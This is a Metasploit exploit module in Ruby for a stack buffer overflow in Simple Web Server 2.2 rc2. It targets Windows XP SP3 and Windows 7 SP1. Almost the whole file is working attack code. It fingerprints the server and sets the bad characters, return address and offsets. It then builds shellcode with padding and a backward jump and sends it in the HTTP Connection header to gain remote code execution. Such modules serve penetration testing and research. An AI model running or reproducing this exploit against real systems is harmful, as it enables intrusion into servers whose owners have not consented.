Simple Web Server Connection Header Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'        => "Simple Web Server Connection Header Buffer Overflow",
   'Description' => %q{
    This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
    can send a long string data in the Connection Header to causes an overflow on the
    stack when function vsprintf() is used, and gain arbitrary code execution. The
    module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
   },
   'License'   => MSF_LICENSE,
   'Author'      =>
    [
     'mr.pr0n', # Vulnerability Discovery and PoC
     'juan' # Metasploit module
    ],
   'References' =>
    [
     ['EDB', '19937'],
     ['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
    ],
   'Payload'  =>
    {
     'BadChars' => "\x00\x0a\x0d",
     'Space' => 2048,
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
    },
   'DefaultOptions' =>
    {
     'EXITFUNC' => "process",
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [
      'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
      {
       'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
       'Offset' => 2048,
       'OffsetEDI' => 84
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 20 2012",
   'DefaultTarget'  => 0))
 end

 def check
  res = send_request_raw({'uri'=>'/'})
  if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit

  sploit = payload.encoded
  sploit << rand_text(target['Offset'] - sploit.length)
  sploit << [target.ret].pack("V") # eip
  sploit << rand_text(target['OffsetEDI'])
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string

  print_status("Trying target #{target.name}...")

  connect

  send_request_cgi({
   'uri'        => '/',
   'version'    => '1.1',
   'method'     => 'GET',
   'connection' => sploit
  })

  disconnect

 end
end